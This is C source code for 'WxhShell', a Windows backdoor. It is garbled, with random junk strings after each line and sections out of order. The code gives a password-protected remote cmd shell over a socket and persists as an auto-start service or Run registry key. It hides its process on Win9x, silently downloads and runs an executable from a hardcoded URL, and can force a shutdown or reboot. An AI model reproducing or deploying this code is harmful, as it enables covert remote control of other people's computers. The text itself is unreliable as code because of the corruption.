  // 关机 `Os=cMR  
  case 'd': { bI):-2&s}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qmS9*me {  
    if(Boot(SHUTDOWN)) mF4W4~"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :F(4&e=w  
    else { lqDCK&g$E#  
    closesocket(wsh); cslC+e/  
    ExitThread(0); *?)MJ@  
    } +! 1_Mt6  
    break; 1d^~KBfv  
    } oD)x\ )t8  
  // 获取shell uEPp%&D.+  
  case 's': { rQ*+ <`R}  
    CmdShell(wsh); (i "TF2U,<  
    closesocket(wsh); fSo8O  
    ExitThread(0); 19 5_1?'<  
    break; 0'^M}&zCi  
  } Y}~sTuWU  
  // 退出 _4{0He`q  
  case 'x': { m=l>8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uGU 2  
    CloseIt(wsh); 0.MB;gm:  
    break; <)qa{,GX\  
    } <=(K'eqC^  
  // 离开 :1'  
  case 'q': { L+t / E`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]U?nYppV  
    closesocket(wsh); }$ y.qqG  
    WSACleanup(); G[64qhTC  
    exit(1); ,@*5x'auK  
    break; ~q>jXi  
        } :;$MUOps  
  } E-A9lJWr  
  } Gp9 <LB\,  
NdK`-RT  
  // 提示信息 (,At5 T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w,%"+ tY_  
} ,NO[Piok  
  } ^ u$gO3D  
Bm~^d7;Cw  
  return; mnt&!X4<  
} <ZC .9  
Kz'GAm\  
// shell模块句柄 oj8r*  
int CmdShell(SOCKET sock) X5WA-s(?0  
{ [P2>KQ\  
STARTUPINFO si; SKG U)Rn;  
ZeroMemory(&si,sizeof(si)); Np\NStx2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <spG]Xa<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x[ A|@\Z  
PROCESS_INFORMATION ProcessInfo; 757&bH|a  
char cmdline[]="cmd"; l)r\SE1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y-pdAkDh  
  return 0; :zW? O#aL-  
} Z$z-Hx@%  
{_7hX`p  
// 自身启动模式 @&jR^`Y.  
int StartFromService(void) \kE0h\  
{ ys=2!P-[#  
typedef struct 175e:\Tw  
{ %1&X+s3  
  DWORD ExitStatus; G^'We6<  
  DWORD PebBaseAddress; g;l K34{  
  DWORD AffinityMask; kNuvJ/St  
  DWORD BasePriority; ^-%'ItVO  
  ULONG UniqueProcessId; 8vx ca]DcV  
  ULONG InheritedFromUniqueProcessId; "6,fIsU  
}   PROCESS_BASIC_INFORMATION; PKlR_#EB?  
.ATpwFal  
PROCNTQSIP NtQueryInformationProcess; 3.movkj  
]& D dy&V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C  eEhe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7mtx^  
"P7OD^(x/  
  HANDLE             hProcess; 9O g  
  PROCESS_BASIC_INFORMATION pbi; VgPlIIHh5  
%[XP}L$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &XNt/bK -?  
  if(NULL == hInst ) return 0; @(R=4LL  
6 ;'s9s"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8UB2 du@?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'IU3Xu[-.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Wy>t8DIK  
B9(w^l$kZ|  
  if (!NtQueryInformationProcess) return 0; =Ti!9_~  
+ S+!:IB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S{llpp{E  
  if(!hProcess) return 0; 1 -Z&/3T]  
O 0}uY:B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7\@c1e*e  
IlJ"t`Z9)  
  CloseHandle(hProcess); :1d;jx>  
<gPM/ 4$G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k7uX!}  
if(hProcess==NULL) return 0; ~,,r\Y+  
rDl/R^w"  
HMODULE hMod; ll__A|JQ  
char procName[255]; Up Z 9g"  
unsigned long cbNeeded; hUpour |b  
(~Z&U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [l=@b4Og  
,RV>F_  
  CloseHandle(hProcess); nLL2/!'n  
.QY>@b\  
if(strstr(procName,"services")) return 1; // 以服务启动 TY/'E#.  
Pk&=\i<  
  return 0; // 注册表启动 8B ,S_0!  
} ;9~YQW@|  
0L;,\&*u  
// 主模块 *mV?_4!,f7  
int StartWxhshell(LPSTR lpCmdLine) [__P-h{J  
{ Fs >MFj  
  SOCKET wsl; [XPAI["  
BOOL val=TRUE; r'ilJ("  
  int port=0; "d}']M?-h  
  struct sockaddr_in door; ,t_&tbf3  
tOXyle~C  
  if(wscfg.ws_autoins) Install(); Ew4D'; &;  
1G A.c:  
port=atoi(lpCmdLine); !- [ ZQ  
z<Z0/a2'1  
if(port<=0) port=wscfg.ws_port; J"#6m&R_q  
)P? 0YC  
  WSADATA data; xM{[~Kh_x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,7$&gx>2&  
}S"gZ6   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q>[{9bI4QP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U| yt   
  door.sin_family = AF_INET; YdV.+v(30  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JQLQS  
  door.sin_port = htons(port); P|1  D6  
RrLj5Jq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j7d^g a-`  
closesocket(wsl); xJ#O|7N  
return 1; 5X8 i=M;  
} ?taC !{  
uv5NqL&  
  if(listen(wsl,2) == INVALID_SOCKET) { q'fOlq  
closesocket(wsl); RJ'za1@z;b  
return 1; "r`2V-E  
} c}v8j2{  
  Wxhshell(wsl); Sj)?!  
  WSACleanup(); _G`Q2hf"5  
wg_Z@iX  
return 0; #++:`Z  
;+DMv5A "  
} u;%~P 9O  
0rX%z$D+@  
// 以NT服务方式启动 ;7[DFlS\P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .`*;AT  
{ `C7pM  
DWORD   status = 0; wBlE!Pm  
  DWORD   specificError = 0xfffffff; t .&JPTK-H  
<=!t!_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {%6 '|<`[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uih8ZmRt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lhQMR(w^  
  serviceStatus.dwWin32ExitCode     = 0; Nnn~7  
  serviceStatus.dwServiceSpecificExitCode = 0; ,nog6\  
  serviceStatus.dwCheckPoint       = 0; 5k=04=Iyh#  
  serviceStatus.dwWaitHint       = 0; G(A7=8vW  
Y 8}y0]V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9k4z__Ke  
  if (hServiceStatusHandle==0) return; p  Dg!Cs  
A+Bq5mik  
status = GetLastError(); EAh|$~X  
  if (status!=NO_ERROR) b L.Xb y<Y  
{ Q?.9BM1V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i Ya)*,  
    serviceStatus.dwCheckPoint       = 0; /_JR7BB^X,  
    serviceStatus.dwWaitHint       = 0;  w@mCQ$  
    serviceStatus.dwWin32ExitCode     = status; WCaMPz  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6wOj,}2Mn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ui"`c%2n  
    return; 1C=42ZZ&2  
  } ^^V+0 l  
zWN]#W`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0LGHSDb  
  serviceStatus.dwCheckPoint       = 0; X+;#^A3  
  serviceStatus.dwWaitHint       = 0; ld%#.~Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :\mdVS!o  
} <}mA>c'k  
U_9|ED:  
// 处理NT服务事件,比如:启动、停止 <%4pvn8d?&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sj+ )   
{ H>\l E2  
switch(fdwControl) }If,O  
{ $/u.F;  
case SERVICE_CONTROL_STOP: 6QHUBm2  
  serviceStatus.dwWin32ExitCode = 0; M"-53|#:w\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #p{8  
  serviceStatus.dwCheckPoint   = 0; 1@-l@ P  
  serviceStatus.dwWaitHint     = 0; ?iaO+G&|  
  { rIyIZWkI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t[({KbIy  
  } / H GPy  
  return; Qm[ )[M  
case SERVICE_CONTROL_PAUSE: p-oEoA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AHa]=ka>  
  break; C-:|A* z  
case SERVICE_CONTROL_CONTINUE: < A`srmS?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )):D&wlq  
  break; ()Img.TIt  
case SERVICE_CONTROL_INTERROGATE: .<K9Zyi  
  break; p:| 7d\r  
}; F(U(b_DPM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V+u0J"/8  
} 8`<3rj  
bHDZ=Ik  
// 标准应用程序主函数 ZSwhI@|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ASS<XNP  
{ 80U(q/H%9  
)Zvn{  
// 获取操作系统版本 * P12d  
OsIsNt=GetOsVer(); rv~OfL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I'J-)D`  
UHI<8o9  
  // 从命令行安装 /Zz [vf  
  if(strpbrk(lpCmdLine,"iI")) Install(); }Zp[f6^Q  
meD83,L~N  
  // 下载执行文件 kCZ'p  
if(wscfg.ws_downexe) { Fe2iG-ec  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8P%Jky&(  
  WinExec(wscfg.ws_filenam,SW_HIDE); EBmkKiI;  
} ?;rRR48T9E  
9:!V":8q  
if(!OsIsNt) { {FN CC*=  
// 如果时win9x,隐藏进程并且设置为注册表启动 %zjyZ{=  
HideProc(); t4zKI~cO  
StartWxhshell(lpCmdLine); PTF|"^k+   
} [L2N[vy;  
else f 0/q{*  
  if(StartFromService()) _k)EqPYu@  
  // 以服务方式启动 }o=s"0a  
  StartServiceCtrlDispatcher(DispatchTable); 3|Y.+W  
else ;%/}(&E2  
  // 普通方式启动 ;0dl  
  StartWxhshell(lpCmdLine); Jk`0yJi$q  
$B )jSxSy  
return 0; GS GaYq  
} aqP"Y9l  
s8*Q@0  
aO *][;0  
7$kTeKiP  
=========================================== +W|VCz  
7MX5hZF"  
:<6gP(  
opReAU'I  
g|{Ru  
%G, d&%f  
" 0[-@<w ^j  
e$-Y>Dd  
#include <stdio.h> y#J8Yv8  
#include <string.h> @(m?j1!M  
#include <windows.h> mN" g~o*  
#include <winsock2.h> 1[(/{CClB  
#include <winsvc.h> n?NUnFA  
#include <urlmon.h> KhNE_. Z  
~T\:".C  
#pragma comment (lib, "Ws2_32.lib") 5Noy~;  
#pragma comment (lib, "urlmon.lib") E>1%7" i<  
jGn2Q L  
#define MAX_USER   100 // 最大客户端连接数 ^}Gu'!z9D  
#define BUF_SOCK   200 // sock buffer ]L!:/k,=S  
#define KEY_BUFF   255 // 输入 buffer !F)BTB7{<  
CuYSvW  
#define REBOOT     0   // 重启 KCS},X_  
#define SHUTDOWN   1   // 关机 o=Kd9I#  
KD8,a+GL  
#define DEF_PORT   5000 // 监听端口 z#srgyLt  
%xN91j["  
#define REG_LEN     16   // 注册表键长度 !?GW<Rh  
#define SVC_LEN     80   // NT服务名长度 LE+#%>z>  
7eyx cr;z  
// 从dll定义API l\&Tw[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); . L]!*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L@~0`z:>iP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #D Oui]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4u]>$?X1_  
%H7H0 %qW  
// wxhshell配置信息 ;<s0~B#9}  
struct WSCFG { g$9s} \6B  
  int ws_port;         // 监听端口 KiMEd373-  
  char ws_passstr[REG_LEN]; // 口令 Y'x+! &H  
  int ws_autoins;       // 安装标记, 1=yes 0=no ft Rza  
  char ws_regname[REG_LEN]; // 注册表键名 9:CM#N~?o  
  char ws_svcname[REG_LEN]; // 服务名 q=/ck  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O.'\GM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b[my5O l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ka| 8 _C^z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FrQRHbp3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hR~~k~84  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Z&9pI(3R~  
^r^)  &]  
}; O`'r:&#W  
1y6{3AZm<  
// default Wxhshell configuration z 5IdYF?  
struct WSCFG wscfg={DEF_PORT, c~n:xblv  
    "xuhuanlingzhe", <):= mr7  
    1, ; Ne|H$N  
    "Wxhshell", Y2P%0  
    "Wxhshell", l#!6 tw+e?  
            "WxhShell Service", +Am\jsq  
    "Wrsky Windows CmdShell Service", KOVR=``"/  
    "Please Input Your Password: ", R}0!F 2  
  1, mI3 \n  
  "http://www.wrsky.com/wxhshell.exe", f VpE&F  
  "Wxhshell.exe" {h}e 9  
    }; Q1u/QA:z7  
>WYradLUi  
// 消息定义模块 4 JDk ()  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6e At`L[K.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :eW`El  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .#}`r`/  
char *msg_ws_ext="\n\rExit."; 94 GF8P  
char *msg_ws_end="\n\rQuit."; LVxR *O  
char *msg_ws_boot="\n\rReboot..."; Et+WLQ6)  
char *msg_ws_poff="\n\rShutdown..."; 7eQc14  
char *msg_ws_down="\n\rSave to "; y[I)hSD=  
6%fF6  
char *msg_ws_err="\n\rErr!"; tF~D!t@  
char *msg_ws_ok="\n\rOK!"; o_on/{qz  
{_>}K  
char ExeFile[MAX_PATH]; } ^n346^  
int nUser = 0; pJ3Yjm[l  
HANDLE handles[MAX_USER]; (z.eXoP@>  
int OsIsNt; ibQN pIz  
M}xyW"yp  
SERVICE_STATUS       serviceStatus; C *U,$8j|}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cP`[/5R  
T,pr&1]Lw  
// 函数声明 0\tac/  
int Install(void); cERIj0~  
int Uninstall(void); (XO=W+<'  
int DownloadFile(char *sURL, SOCKET wsh); l#KcmOz  
int Boot(int flag); Y,)(Q  
void HideProc(void); o+E~iC u5  
int GetOsVer(void); f=F:Af!  
int Wxhshell(SOCKET wsl); qPq]%G*{  
void TalkWithClient(void *cs); )/$J$'mcxd  
int CmdShell(SOCKET sock); bkV<ZUW|;  
int StartFromService(void);  TUcFx_  
int StartWxhshell(LPSTR lpCmdLine); u?Ffqt9'  
SsZC g#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Rc#/y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (u@:PiU/eP  
@sLN  
// 数据结构和表定义 U6M ~N0)Yr  
SERVICE_TABLE_ENTRY DispatchTable[] = OX7=g$S 1  
{ ^5sA*%T4  
{wscfg.ws_svcname, NTServiceMain}, !<p,G`r  
{NULL, NULL} b w P=f.  
}; t`Z'TqP R  
e'3V4iU]  
// 自我安装 0~qc,-)3  
int Install(void) S0^a)#D &  
{ 8Sr'  
  char svExeFile[MAX_PATH]; _re# b?  
  HKEY key; &>JP.//spi  
  strcpy(svExeFile,ExeFile); mJUM#ry  
*:n~j9V-  
// 如果是win9x系统,修改注册表设为自启动 Z3S+")^  
if(!OsIsNt) { Nm?^cR5r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zZ=SAjT QP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r:g\  
  RegCloseKey(key); Z =+Z96  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fqgp{(`@>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qbv\uYow3k  
  RegCloseKey(key); =tOB fRM  
  return 0; 2RkW/) A9  
    } *dw.=a9  
  } d_!Z /M,  
} (P|[< Sd  
else { o$No@~%v  
2l<2srEK  
// 如果是NT以上系统,安装为系统服务 I&1Lm)W&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u} ot-!}Q  
if (schSCManager!=0) bk0>f   
{ b>uD-CSA  
  SC_HANDLE schService = CreateService C"I jr=w  
  ( E4 X6f  
  schSCManager, uM2@&)u  
  wscfg.ws_svcname, UGcmzwE  
  wscfg.ws_svcdisp, ?:"ABkL|+Y  
  SERVICE_ALL_ACCESS, P<PZ4hNx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [^qT?se{  
  SERVICE_AUTO_START, &hYgu3O  
  SERVICE_ERROR_NORMAL, NM3;l}Y8  
  svExeFile,  !VGG2N8  
  NULL, 1/}H 0\9'  
  NULL, ,2FK$: M\  
  NULL, !d72f8@9  
  NULL, | b'Ut)E  
  NULL &A0OYV3i.  
  ); Q-<]'E#\(  
  if (schService!=0) 9!( 8o  
  { (]]hSkE  
  CloseServiceHandle(schService); bZ`v1d (r  
  CloseServiceHandle(schSCManager); (0 T!- hsP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hyb(.hlZh  
  strcat(svExeFile,wscfg.ws_svcname); @DysM~I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &;@L] o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <],{at` v  
  RegCloseKey(key); $k~TVm Yex  
  return 0; !T0I; j&  
    } ]oGd,v X  
  } rW?WdEg  
  CloseServiceHandle(schSCManager); <[dcIw<7  
} L`1 ITz  
} dNe!X0[  
s)-oCT$[  
return 1; 6GxLaI  
} 82LE9<4A  
VF?H0}YSHb  
// 自我卸载 ^j}C]cq{Xg  
int Uninstall(void) +CSpL2@  
{ f}-'67*Y  
  HKEY key; ]1 f^ SxSI  
>=@-]X2%j  
if(!OsIsNt) { tMl y*E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SzW;Yb"#^k  
  RegDeleteValue(key,wscfg.ws_regname); 0Ui.nz j  
  RegCloseKey(key); x3O%W?5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3ahriZe  
  RegDeleteValue(key,wscfg.ws_regname); [mtp-4*  
  RegCloseKey(key); ;<+efYmyc  
  return 0; @|Pm%K`1  
  }  ~~>m  
} Hx#YN*\.M  
} L)'G_)Sl  
else { 5%,3)H{;t  
tJ(xeb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z '5itN^  
if (schSCManager!=0) _U~R   
{ 7@c!4hmrU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tc~gn!"  
  if (schService!=0) rNN>tpZ}  
  { T<]{:\*n  
  if(DeleteService(schService)!=0) { ?mH=3 :~  
  CloseServiceHandle(schService); E1QJ^]MG.  
  CloseServiceHandle(schSCManager); pBqf+}g4  
  return 0; NM. e4  
  } J*B-*6O44  
  CloseServiceHandle(schService); IyO 0~Vx>  
  } l,@>J9}Se  
  CloseServiceHandle(schSCManager); y [Vd*8  
} U%vTmdOY  
} F,_L}  
\,;glY=M!  
return 1; v`4w=!4  
} `EKf1U\FI  
R0?bcP&  
// 从指定url下载文件 MHwfJ{"zo  
int DownloadFile(char *sURL, SOCKET wsh) _ZRmD\_t  
{ R}oN8  
  HRESULT hr; J4qk^1m.  
char seps[]= "/"; Pe:)zt0  
char *token; k+_>`Gre}  
char *file; 2Bt/co-~4  
char myURL[MAX_PATH]; S?v/diK ]J  
char myFILE[MAX_PATH]; b!H1 |7>  
"~Fg-{jM%  
strcpy(myURL,sURL); Gamn,c9  
  token=strtok(myURL,seps); 67EGkW?hbt  
  while(token!=NULL) )"TVR{I%B  
  { k8 #8)d  
    file=token; O>)eir7  
  token=strtok(NULL,seps); KR.;X3S}  
  } hWly8B[I  
CaYb}.:AX  
GetCurrentDirectory(MAX_PATH,myFILE); |lhnCShw  
strcat(myFILE, "\\"); &YIL As^8A  
strcat(myFILE, file); c|<F8 n  
  send(wsh,myFILE,strlen(myFILE),0); $#V'm{Hh  
send(wsh,"...",3,0); xa`xHh{0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -'c qepC{T  
  if(hr==S_OK) APl]EV" l  
return 0; her>L3G-E  
else 7nPg2K&  
return 1; sm18u-  
i&DbZ=n2  
} 2D!jVr!  
fDr$Wcd~  
// 系统电源模块 (H:c8 0/V  
int Boot(int flag) C2<TR PT  
{ 4`?PtRX  
  HANDLE hToken; gb,ZN^3<-  
  TOKEN_PRIVILEGES tkp; 1tbA-+  
=*fq5v  
  if(OsIsNt) { /US%s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <?A4/18K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?Nt(sZ-  
    tkp.PrivilegeCount = 1; jA "}\^%3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \(LD<-a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j~_iv~[  
if(flag==REBOOT) { O#.YTTj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2:Yvr_L  
  return 0; v,n 8$,  
} DWtITO>  
else { W9l ](Ow  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p+g=Z<?`  
  return 0; bR3Crz(9G  
} cQ1[x>OcU  
  } Wm1dFf.>  
  else { e oE)Mq  
if(flag==REBOOT) { wHbmK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &wDZ@{h  
  return 0; bB0/FiY7o  
} >}wFePl  
else { Wpf~Ji6||  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OM.-apzC  
  return 0; A*BN  
} TgJ+:^+0  
} EkV#i  
U _pPI$ =  
return 1; 'WHI.*=  
} <LZ#A@]71  
WS6Qp`c )e  
// win9x进程隐藏模块 ;a|%W4"  
void HideProc(void) sI6*.nR  
{ ) YB'W_  
<c5g-*V:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MMO/vJC  
  if ( hKernel != NULL ) zvGncjMkC  
  { \Dl MOG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cGs& Kn;h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5(2 C  
    FreeLibrary(hKernel); m2~`EL>  
  } AaU!a  
TP| ogF?  
return; ,2 xD>+=  
} Dy5&-yk  
i{9.bpp/  
// 获取操作系统版本 )Ko~6.:5H  
int GetOsVer(void) 7[ n |3  
{ >KQ/ c  
  OSVERSIONINFO winfo; > {d9z9O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ` >>]$ZJ  
  GetVersionEx(&winfo); [ Y{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CXGMc)#>f  
  return 1; o+{7"Na8[  
  else ts@w9|  
  return 0; mz x$(u  
} ,Y| ;V  
*'?V>q,  
// 客户端句柄模块 ;y7+Q  
int Wxhshell(SOCKET wsl) a; a1>1  
{ U:@tdH+A7  
  SOCKET wsh; nxEC6Vh'  
  struct sockaddr_in client; B^]Gv7-  
  DWORD myID; `c ^ ">L  
4K HIUW$  
  while(nUser<MAX_USER) (QojIdHt  
{ I d8MXdV  
  int nSize=sizeof(client); 6uUzky  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mcz;`h|EW  
  if(wsh==INVALID_SOCKET) return 1; :_F 8O  
#y"LFoJn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1Ke9H!_P  
if(handles[nUser]==0) sUQ Q/F6  
  closesocket(wsh); GbQg(%2F  
else JbitRV@a  
  nUser++; /V2yLHm  
  } RZVZ#q(DU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !M)] 1Y  
_V8;dv8  
  return 0; (["V( $  
} ttB>PTg#  
F.@|-wq&  
// 关闭 socket <EE^ KR96  
void CloseIt(SOCKET wsh) p<mBC2!%  
{ Gr}NgyT<!D  
closesocket(wsh); lqO>Q1_{K  
nUser--; 0"GLgj:9  
ExitThread(0); 8N |K   
} +Y;hVc E9  
B\aVE|~PB  
// 客户端请求句柄 Hj`\Fm*A  
void TalkWithClient(void *cs) ~e)"!r  
{ RU/SJ1wM"  
nWK7*  
  SOCKET wsh=(SOCKET)cs; >Y\?v-^~;  
  char pwd[SVC_LEN]; k}qCkm27  
  char cmd[KEY_BUFF]; xzFQ)t&  
char chr[1]; u"wWekB  
int i,j; M^ e}w!U  
48 0M|^  
  while (nUser < MAX_USER) { O:~J_Wwl!  
WjSu4   
if(wscfg.ws_passstr) { P1^|r}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U 9Ea }aN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $-jj%kS  
  //ZeroMemory(pwd,KEY_BUFF); `PI*\t0  
      i=0; CY*GCkH  
  while(i<SVC_LEN) { Ejf5M\o  
YdIZikF#  
  // 设置超时 !)`*e>]x  
  fd_set FdRead; j/NX  
  struct timeval TimeOut; q \fyp\z  
  FD_ZERO(&FdRead); nz#eJ  
  FD_SET(wsh,&FdRead); ~6O~Fth  
  TimeOut.tv_sec=8; Hr7pcz/#l  
  TimeOut.tv_usec=0; xpu 2RE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i]4nYYS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C(8!("tU  
( *K)D$y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })?-)fFD  
  pwd=chr[0]; *WFd[cKE  
  if(chr[0]==0xd || chr[0]==0xa) { 8TU(5:xJo  
  pwd=0; L8Z@Dk7Y  
  break; ^j10 f$B  
  } JBZ1DZAWC  
  i++; 0jPUDkH*  
    } z!.cc6R  
K_:2sDCaN  
  // 如果是非法用户,关闭 socket _2}~Vqb+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }s6Veosl  
} F0r2=f(?  
,q7FK z{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >LH}A6dUC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 28c6~*Te #  
OA} r*Wz  
while(1) { y7rT[f/J  
_%\%  
  ZeroMemory(cmd,KEY_BUFF); x%[NK[^&  
yx*<c#Uf  
      // 自动支持客户端 telnet标准   PyK!Cyq  
  j=0; @de0)AJG6  
  while(j<KEY_BUFF) { Xh3b=i|K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d+ZXi'  
  cmd[j]=chr[0]; &@BAVc z  
  if(chr[0]==0xa || chr[0]==0xd) { l%?4L/J)#  
  cmd[j]=0; J~oxqw}  
  break; )^"V}z t  
  } D@ !r?E`  
  j++; {{>,c}O /  
    } dxH\H?NO  
,`k6 @4  
  // 下载文件 %W=BdGr[8z  
  if(strstr(cmd,"http://")) { ]l+<-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0w< ilJ  
  if(DownloadFile(cmd,wsh)) 6X?:mn'%QF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;O{bF8 U  
  else 1wd c4>  
